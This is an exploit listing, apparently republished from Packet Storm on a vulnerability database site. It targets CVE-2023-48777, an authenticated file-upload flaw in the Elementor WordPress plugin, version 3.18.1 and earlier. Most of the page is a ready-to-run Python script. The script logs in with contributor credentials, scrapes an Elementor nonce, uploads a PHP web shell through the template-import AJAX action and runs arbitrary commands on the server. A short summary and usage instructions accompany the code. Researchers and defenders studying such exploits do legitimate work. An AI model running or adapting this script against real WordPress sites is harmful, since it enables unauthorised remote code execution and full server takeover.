Lucene search
K

๐Ÿ“„ WordPress Elementor 3.18.1 Shell Upload

๐Ÿ—“๏ธย 02 Mar 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 200ย Views

Authenticated file upload flaw in Elementor 3.18.1 enables remote code execution via PHP shells.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress Elementor 3.18.1 RCE Exploit                                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/elementor/                                                                                    |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/176112/ & CVE-2023-48777
    
    
    [+] Summary : 
              
             an authenticated arbitrary file upload vulnerability in Elementor Website Builder plugin for WordPress versions 3.18.1 and earlier. 
    		 The vulnerability allows attackers with contributor-level access or higher to upload arbitrary files, including PHP webshells, leading to remote code execution and complete server compromise.
    		 The vulnerability exists in the template import functionality (elementor_import_template AJAX action) where files are saved to a temporary directory before proper file type validation occurs. 
    		 Failed validation does not trigger deletion of the temporary file.
    	
    [+] POC :  python poc.py
    
    ---
    
    #!/usr/bin/env python3
    """
    Elementor <= 3.18.1 RCE Exploit (CVE-2023-48777)
    Author: indoushka
    """
    
    import requests
    import base64
    import random
    import string
    import sys
    import json
    from urllib.parse import urljoin
    
    class ElementorRCE:
        def __init__(self, target, username, password):
            self.target = target.rstrip('/')
            self.session = requests.Session()
            self.username = username
            self.password = password
            self.nonce = None
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
        
        def login(self):
            """Authenticate with WordPress"""
            print("[*] Attempting WordPress login...")
            
            login_data = {
                'log': self.username,
                'pwd': self.password,
                'wp-submit': 'Log In',
                'redirect_to': f'{self.target}/wp-admin/',
                'testcookie': '1'
            }
            
            login_url = f"{self.target}/wp-login.php"
            
            # Get login cookies first
            self.session.get(login_url)
            
            # Perform login
            resp = self.session.post(login_url, data=login_data, allow_redirects=False)
            
            if 'wordpress_logged_in' in self.session.cookies:
                print("[+] Successfully logged in to WordPress")
                return True
            else:
                print("[-] Login failed")
                return False
        
        def get_nonce(self):
            """Get Elementor nonce for AJAX requests"""
            print("[*] Retrieving Elementor nonce...")
            
            urls_to_check = [
                f"{self.target}/wp-admin/admin-ajax.php",
                f"{self.target}/wp-admin/post-new.php",
                f"{self.target}/wp-admin/edit.php"
            ]
            
            for url in urls_to_check:
                resp = self.session.get(url)
                if resp.status_code == 200:
                    # Look for nonce in response
                    if 'elementor' in resp.text and 'nonce' in resp.text:
                        import re
                        nonce_patterns = [
                            r'elementor[\'"]?[-_]?nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"]',
                            r'nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"][^>]*elementor',
                            r'"nonce":"([a-f0-9]+)"[^}]*elementor'
                        ]
                        
                        for pattern in nonce_patterns:
                            matches = re.search(pattern, resp.text, re.IGNORECASE)
                            if matches:
                                self.nonce = matches.group(1)
                                print(f"[+] Found Elementor nonce: {self.nonce}")
                                return True
            
            print("[-] Could not find Elementor nonce")
            return False
        
        def upload_shell(self, php_code):
            """Upload PHP shell via Elementor template import"""
            print("[*] Uploading PHP shell...")
            
            # Method 1: Direct file upload
            filename = f"{self.random_string()}_template.php"
            
            files = {
                'fileToUpload': (filename, php_code, 'application/zip')
            }
            
            data = {
                'action': 'elementor_import_template',
                '_nonce': self.nonce
            }
            
            upload_url = f"{self.target}/wp-admin/admin-ajax.php"
            
            resp = self.session.post(upload_url, files=files, data=data)
            
            if resp.status_code == 200:
                try:
                    result = resp.json()
                    if result.get('success'):
                        shell_url = result['data']['file_url']
                        print(f"[+] Shell uploaded: {shell_url}")
                        return shell_url
                except:
                    # Try to extract URL from response
                    if 'file_url' in resp.text:
                        import re
                        match = re.search(r'"file_url":"([^"]+)"', resp.text)
                        if match:
                            shell_url = match.group(1).replace('\\/', '/')
                            print(f"[+] Shell uploaded: {shell_url}")
                            return shell_url
            
            # Method 2: Base64 upload
            print("[*] Trying base64 upload method...")
            return self.upload_via_base64(php_code)
        
        def upload_via_base64(self, php_code):
            """Upload via base64 encoded file data"""
            base64_data = base64.b64encode(php_code.encode()).decode()
            filename = f"{self.random_string()}.php"
            
            data = {
                'action': 'elementor_import_template',
                '_nonce': self.nonce,
                'fileData': base64_data,
                'fileName': filename
            }
            
            upload_url = f"{self.target}/wp-admin/admin-ajax.php"
            
            resp = self.session.post(upload_url, data=data)
            
            if resp.status_code == 200:
                try:
                    result = resp.json()
                    if result.get('success'):
                        shell_url = result['data']['file_url']
                        print(f"[+] Shell uploaded via base64: {shell_url}")
                        return shell_url
                except:
                    pass
            
            return None
        
        def execute_shell(self, shell_url):
            """Execute the uploaded shell"""
            print(f"[*] Executing shell at: {shell_url}")
            
            resp = self.session.get(shell_url)
            
            if resp.status_code == 200:
                print("[+] Shell executed successfully")
                return resp.text
            else:
                print(f"[-] Shell execution failed: HTTP {resp.status_code}")
                return None
        
        def random_string(self, length=8):
            """Generate random string"""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
        
        def exploit(self, command=None):
            """Main exploit method"""
            if not self.login():
                return False
            
            if not self.get_nonce():
                return False
            
            # Generate PHP shell
            if command:
                php_shell = f"<?php system('{command}'); ?>"
            else:
                php_shell = "<?php if(isset($_REQUEST['cmd'])){{system($_REQUEST['cmd']);}}?>"
            
            shell_url = self.upload_shell(php_shell)
            
            if shell_url:
                if command:
                    result = self.execute_shell(shell_url)
                    if result:
                        print(f"[+] Command output:\n{result}")
                else:
                    print(f"[+] Web shell ready: {shell_url}?cmd=whoami")
                    return shell_url
            
            return False
    
    def main():
        if len(sys.argv) < 4:
            print("Usage: python3 elementor_rce.py <target> <username> <password> [command]")
            print("Example: python3 elementor_rce.py http://localhost contributor password123 'id'")
            sys.exit(1)
        
        target = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
        command = sys.argv[4] if len(sys.argv) > 4 else None
        
        exploit = ElementorRCE(target, username, password)
        exploit.exploit(command)
    
    if __name__ == "__main__":
        main()
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation